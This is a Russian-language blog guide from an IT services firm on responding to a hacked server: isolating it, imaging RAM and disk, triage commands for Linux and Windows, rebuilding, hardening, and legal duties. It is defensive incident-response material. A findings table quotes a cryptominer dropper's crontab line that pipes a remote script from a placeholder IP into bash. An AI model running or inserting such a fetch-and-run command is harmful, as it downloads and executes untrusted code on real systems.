Сервер взломали: пошаговый план реакции — гайд
· 17 мин чтения

Что делать если ваш сервер взломали: пошаговый план реакции

Что делать если ваш сервер взломали: пошаговый план реакции

Три часа ночи. На VPS зашли с IP из Нигерии, сайт гонит пользователей на казино, и уже пришел email с требованием биткоинов. Паника — понятная реакция. Но именно в первые минуты можно как спасти ситуацию, так и окончательно уничтожить доказательную базу. Здесь — конкретный порядок действий, команды и инструменты.

Меня зовут Евгений Семёнов, я владелец ITfresh. В инфраструктуре работаю с 2010 года. За это время мы разбирали разное: веб-шеллы на сайтах-визитках, шифровальщики на бухгалтерских серверах, тихую эксфильтрацию данных, которую никто не замечал месяцами. Этот текст — то, что я обычно рассказываю техдиректорам клиентов на первой встрече после инцидента.

Признаки взлома, которые часто игнорируют

"Сервер тормозит" — слышу это постоянно. Девять из десяти раз действительно нагрузка или диск. Но один из десяти — это майнер или DDoS-агент, который уже несколько дней молча качает ресурсы. Вот признаки, при которых нужно расследовать, а не просто перезагружать:

Шаг 1. Изоляция, а не выключение

Главное правило

Не выключайте. Это первый и главный рефлекс, который нужно подавить. RAM — это улика. В ней прямо сейчас лежат открытые ключи сессии атакующего, расшифрованные пароли, активные соединения и дерево процессов. При выключении всё это исчезнет навсегда. Изолируйте сервер сетевыми правилами — не физическим отключением.

Изоляция на уровне фаервола

На VPS проще всего: идите в панель управления провайдера и закройте все входящие порты, оставив SSH только с вашего IP. Selectel, Yandex Cloud, Timeweb, RuVDS — у всех есть security groups или firewall в интерфейсе. Это буквально минута. Атакующий теряет доступ, вы — нет.

Если SSH ещё работает и вы успели зайти — блокируем прямо изнутри:

# Linux: разрешить только себя
iptables -I INPUT 1 -s YOUR_HOME_IP -j ACCEPT
iptables -I INPUT 2 -j DROP
iptables -I OUTPUT 1 -d YOUR_HOME_IP -j ACCEPT
iptables -I OUTPUT 2 -j DROP

# Сохранить, чтобы пережили рестарт
iptables-save > /etc/iptables/rules.v4

На Windows-сервере делаем то же самое через PowerShell:

New-NetFirewallRule -DisplayName "EMERGENCY-block-all-in" `
  -Direction Inbound -Action Block -RemoteAddress Any -Enabled True `
  -Profile Any -Priority 1
New-NetFirewallRule -DisplayName "EMERGENCY-allow-admin-in" `
  -Direction Inbound -Action Allow -RemoteAddress YOUR_HOME_IP `
  -Enabled True -Profile Any -Priority 0

Шаг 2. Снимок памяти и диска

Снимок RAM (Linux)

Для дампа памяти берём AVML от Microsoft или LiME. На практике AVML проще — один статический бинарник, никаких зависимостей, не нужно компилировать модуль ядра:

wget https://github.com/microsoft/avml/releases/download/v0.13.0/avml
chmod +x avml
./avml /mnt/external/memory_dump_$(date +%Y%m%d_%H%M).lime

Пишем только на внешний носитель. Категорически нельзя класть дамп на ту же файловую систему — испортите доказательную базу и, возможно, затрёте следы.

Снимок диска

Виртуалка в облаке — делайте снапшот через интерфейс провайдера, это быстро и надёжно. Физический сервер — dd с побитовой копией диска:

# Подключаем внешний диск, например /dev/sdb
dd if=/dev/sda of=/mnt/external/disk.img bs=4M status=progress
sha256sum /mnt/external/disk.img > /mnt/external/disk.img.sha256

Хеш не пропускайте. Если дело дойдёт до полиции или страховой, вам нужно будет доказать, что образ не менялся с момента снятия.

Windows

Windows: дамп памяти снимаем через DumpIt или WinPmem. Диск — снапшот через гипервизор или FTK Imager. Если Hyper-V — создайте checkpoint и экспортируйте vhdx. Это быстрее и чище, чем dd.

Шаг 3. Идентификация вектора и масштаба

Снимки на месте. Теперь включаем голову. На этом этапе важно не чистить, не переустанавливать — а понять. Нужно ответить на пять вопросов:

  1. Когда зашли? (timeline)
  2. Откуда зашли — вектор: брутфорс SSH, уязвимость в веб-приложении, открытый RDP, фишинг по почте?
  3. Под каким аккаунтом работали — root, www-data, или конкретный пользователь?
  4. Что успели сделать — загрузили файлы, добавили пользователей, запустили процесс, вытащили данные?
  5. Где ещё могут быть — другие серверы, рабочие станции, бэкапные системы?

Linux: что смотреть

# История shell-команд root и пользователей
cat /root/.bash_history
find /home -name '.bash_history' -exec ls -la {} \; -exec cat {} \;

# Кто и когда логинился
last -F | head -50
lastb | head -50         # неудачные попытки
who                      # активные сессии прямо сейчас

# Аутентификация (ищем подозрительные SSH-сессии)
grep -E "Accepted|Failed" /var/log/auth.log | tail -100
grep "Accepted" /var/log/auth.log | awk '{print $11}' | sort -u

# Активные процессы и сетевые соединения
ps auxf
ss -tunap | grep ESTAB
netstat -tunap | grep LISTEN

# Файлы, изменённые за последние 7 дней
find / -type f -mtime -7 -not -path '/proc/*' -not -path '/sys/*' \
  -not -path '/var/log/*' 2>/dev/null | head -100

# Подозрительные SUID-бинарники (часто следы)
find / -perm -4000 -type f 2>/dev/null

# Crontab и systemd-таймеры
crontab -l
ls -la /etc/cron.* /etc/systemd/system/*.timer
systemctl list-timers --all

# LD_PRELOAD-инжекты
cat /etc/ld.so.preload 2>/dev/null
env | grep LD_

# Скрытые процессы (несовпадение между ps и /proc)
for pid in $(ls /proc | grep -E '^[0-9]+$'); do
  ps -p $pid > /dev/null 2>&1 || echo "Hidden process: $pid"
done

Windows: что смотреть

# Активные сессии и подключения
quser
Get-NetTCPConnection -State Established | Select LocalPort, RemoteAddress, RemotePort, OwningProcess

# Журналы безопасности — 4624 (logon), 4625 (failed logon), 4672 (priv assignment)
Get-WinEvent -FilterHashtable @{LogName='Security'; Id=4624} -MaxEvents 100 |
  Where-Object {$_.Properties[8].Value -in 3,10} |  # типы 3 (network), 10 (RemoteInteractive)
  Format-Table TimeCreated, @{n='Account';e={$_.Properties[5].Value}}, @{n='IP';e={$_.Properties[18].Value}}

# Запланированные задачи — частая точка персистенса
Get-ScheduledTask | Where-Object {$_.State -eq 'Ready'} |
  Where-Object {$_.Author -notmatch 'Microsoft|Windows'}

# Автозагрузка
Get-CimInstance Win32_StartupCommand
Get-Service | Where-Object {$_.Status -eq 'Running' -and $_.StartType -eq 'Automatic'}

# WMI-подписки (часто скрытый канал персистенса)
Get-WMIObject -Namespace root\subscription -Class __EventConsumer
Get-WMIObject -Namespace root\subscription -Class __FilterToConsumerBinding

# Локальные пользователи и группа администраторов
Get-LocalUser | Format-Table Name, Enabled, LastLogon
Get-LocalGroupMember -Group "Administrators"

Что показывают типовые находки

Что нашлиСкорее всего
Файл /dev/shm/.X11-unix/X0-lock — на самом деле бинарникМайнер Kinsing/Kdevtmpfsi
SSH key в ~root/.ssh/authorized_keys с комментарием на нерусскомBackdoor для возврата
Файл /usr/sbin/smartdns или подобное "системное" имяРеверс-шелл, замаскированный под утилиту
В crontab: * * * * * curl http://X.X.X.X/x.sh | bashCryptominer dropper
Веб-шелл в папке uploads: config.php.suspendedWordPress/Bitrix через уязвимость плагина
Запись в /etc/hosts с подменой mirrors.aliyun.comМалварь подменяет источники для apt/yum
Процесс chattr +i на /etc/passwdЗаблокировали изменения, чтобы вы не могли удалить созданного юзера

Шаг 4. Проверка остальной инфраструктуры

Не обольщайтесь, что взломали только один сервер. В нашей практике боковое движение встречается больше чем в половине случаев — атакующие идут дальше по сети. Обязательно проверьте:

Шаг 5. Восстановление: всегда с нуля

Не лечите взломанный сервер

Желание просто убить процесс майнера и продолжать жить — я понимаю. Быстро, без даунтайма, все довольны. Но это почти всегда ошибка. Атакующий мог положить модифицированный ssh-демон, подгрузить kernel-модуль или подменить библиотечный файл — и ничего из этого не засветится в обычных проверках. Мы сами пару раз "вылечили" сервер, а через неделю находили следы повторного входа через тот же бэкдор. Единственный путь, в котором можно быть уверенным — переустановка с нуля.

Правильный порядок

  1. Разворачиваем чистый сервер на свежей ОС с актуальными обновлениями — Debian 12, Ubuntu 24.04 LTS или Windows Server 2022.
  2. Сразу — базовая защита: SSH исключительно по ключу, fail2ban, автообновления безопасности, минимальный набор установленных пакетов. Не "потом", а прямо сейчас, до возврата данных.
  3. Восстанавливаем приложения не из бэкапа артефактов, а из исходников: код из git, БД из дампа, конфигурация из git-репозитория конфигов. Если бэкапов кода нет — клонируем со старого сервера, но проверяем каждый файл по диффу с эталоном.
  4. Пользовательские файлы, которые загружались после момента взлома — прогоняем через ClamAV. Если есть возможность, добавляем проверку через MultiAV или VirusTotal API для надёжности.
  5. Меняем все пароли, токены, API-ключи, SSL-сертификаты, к которым имел доступ взломанный сервер. Всё это считаем публичным — без исключений.

Шаг 6. Превенция: чтобы не повторилось

Каждый инцидент — повод закрыть дыры. Не откладывайте. Вот минимум, который мы делаем на серверах клиентов после любого взлома:

SSH-харденинг

# /etc/ssh/sshd_config
Port 22                          # можно сменить на нестандарт, но не надейтесь, что это защитит
PermitRootLogin no
PasswordAuthentication no
PubkeyAuthentication yes
AllowUsers admin deploy
ClientAliveInterval 300
ClientAliveCountMax 2
MaxAuthTries 3
LoginGraceTime 30s
AllowAgentForwarding no
AllowTcpForwarding no
X11Forwarding no
UseDNS no
PermitEmptyPasswords no

Fail2ban с агрессивной политикой

# /etc/fail2ban/jail.local
[sshd]
enabled = true
port = ssh
filter = sshd
maxretry = 3
findtime = 600
bantime = 86400      # сутки
backend = systemd

[recidive]
enabled = true
filter = recidive
maxretry = 3
findtime = 86400
bantime = 604800     # неделя для повторных нарушителей

Автоматические обновления

# Debian/Ubuntu
apt install -y unattended-upgrades
dpkg-reconfigure -plow unattended-upgrades

# В /etc/apt/apt.conf.d/50unattended-upgrades:
Unattended-Upgrade::Allowed-Origins {
  "${distro_id}:${distro_codename}-security";
};
Unattended-Upgrade::Automatic-Reboot "true";
Unattended-Upgrade::Automatic-Reboot-Time "03:30";

Мониторинг и SIEM

Начать можно с малого: Wazuh-агент на каждом сервере и отдельная виртуалка под центральный узел. Из коробки получаете:

Установка Wazuh agent в одну строку:

curl -s https://packages.wazuh.com/key/GPG-KEY-WAZUH | gpg --no-default-keyring \
  --keyring gnupg-ring:/usr/share/keyrings/wazuh.gpg --import && \
  chmod 644 /usr/share/keyrings/wazuh.gpg && \
  echo "deb [signed-by=/usr/share/keyrings/wazuh.gpg] https://packages.wazuh.com/4.x/apt/ stable main" \
  | tee /etc/apt/sources.list.d/wazuh.list && \
  apt update && WAZUH_MANAGER='siem.example.local' apt install wazuh-agent -y

Бэкапы по правилу 3-2-1-1-0

Классическое правило 3-2-1 давно устарело — в эпоху шифровальщиков добавились ещё два условия:

Юридическая часть

Вот что я регулярно объясняю клиентам: при взломе у вас могут возникнуть не только технические, но и юридические обязательства. Малый бизнес об этом, как правило, не думает — и зря.

Сводный чек-лист первых 4 часов

ВремяДействие
0:00 — 0:15Подтвердить факт компрометации (минимум 2 признака из списка)
0:15 — 0:30Изолировать сервер на сетевом уровне (НЕ выключать)
0:30 — 1:00Снапшот RAM, снапшот диска, выгрузить логи во внешний носитель
1:00 — 2:00Базовый триаж: процессы, соединения, пользователи, последние изменения
2:00 — 2:30Идентифицировать вектор, выписать IoC (хеши, IP, домены)
2:30 — 3:00Проверить остальную инфраструктуру на те же IoC
3:00 — 3:30Сменить все потенциально утекшие пароли, токены, ключи
3:30 — 4:00Решение: лечить или переустанавливать (почти всегда — переустанавливать)
4:00+Восстановление с чистого образа, накатка приложений, тестирование

Главные мысли

  1. Взломанный сервер — не выключать. Изолировать фаерволом. RAM — это улика, которую вы потеряете при отключении питания.
  2. Снапшоты RAM и диска — до любых чисток. Без них нет ни доказательной базы, ни возможности понять, что на самом деле произошло.
  3. Не лечите взломанный сервер — переустанавливайте. Попытка "вылечить" оставляет шанс атакующему вернуться.
  4. Все пароли и токены, к которым у скомпрометированного сервера был доступ — меняйте немедленно. Считайте их публичными.
  5. После инцидента: Wazuh, fail2ban, MFA везде, иммутабельные бэкапы. Без этого следующий взлом — не "если", а "когда".
  6. Если не уверены в своих силах — в первый же час звоните в команду incident response. Час с экспертом экономит двое суток самостоятельного разбирательства.

Бесплатный аудит инфраструктуры от ITfresh

Если вы подозреваете компрометацию или хотите проверить готовность к ней — приду на 2 часа в офис, посмотрю серверы, бэкапы, мониторинг. Пришлю отчёт с приоритетами. Бесплатно для компаний 10-50 рабочих мест в Москве. В критической ситуации беру в работу с заездом в течение суток.

Telegram: @ITfresh_Boss
Телефон: +7 903 729-62-41

Часто задаваемые вопросы

Как понять, что сервер действительно взломан?

Смотрите на признаки: странная нагрузка CPU или сети, чужие процессы, новые пользователи, которых вы не создавали, незнакомые внешние IP в исходящих соединениях, изменённые crontab, отсутствующие или обрезанные логи. Один признак — уже повод для расследования, а не для перезагрузки.

Что делать первым делом при подозрении на взлом?

Первое — изолируйте через фаервол, не выключайте. Второе — снапшот RAM и диска, пока машина живая. Третье — начинайте собирать артефакты: логи, процессы, соединения. Выключение убивает всё, что было в памяти — а там, как правило, самое интересное.

Можно ли просто переустановить сервер и всё?

Можно. Но тогда вы просто не узнаете, как к вам попали — и это повторится через месяц или через год. Минимальное расследование даже перед переустановкой: понять вектор, проверить остальные машины на тот же индикатор компрометации, поменять все пароли и ключи. Только потом чистый старт.

Сколько времени занимает полное расследование?

По нашему опыту, один сервер в небольшой компании — от 6 до 24 часов работы инженера. Если скомпрометировано несколько систем или атакующий сидел внутри несколько недель — уходит 3–7 дней. На старте всегда оцениваем масштаб и решаем, нужна ли команда из нескольких человек.

Нужно ли заявлять в полицию?

Если было хищение данных, шантаж или ущерб от 5 000 рублей — заявление в МВД или подразделение К. Обязательно. При утечке персональных данных — уведомление Роскомнадзора не позже чем через 24 часа с момента, как обнаружили. Это не рекомендация, это закон.

Подпишитесь на рассылку ITfresh

Каждую неделю мы выпускаем практические гайды для руководителей IT и системных администраторов. Это не просто теория! Здесь вы найдёте всё: безопасность, 1С, миграции, резервные копии и проверенные лайфхаки из наших реальных проектов.

Реквизиты оператора персональных данных

ООО «АЙТИ-ФРЕШ», ИНН 7719418495, КПП 771901001. Юридический адрес: 105523, г. Москва, Щёлковское шоссе, д. 92, корп. 7. Контакт: info@itfresh.ru, +7 903 729-62-41. Оператор обрабатывает e-mail подписчика в целях рассылки информационных и рекламных материалов до момента отзыва согласия.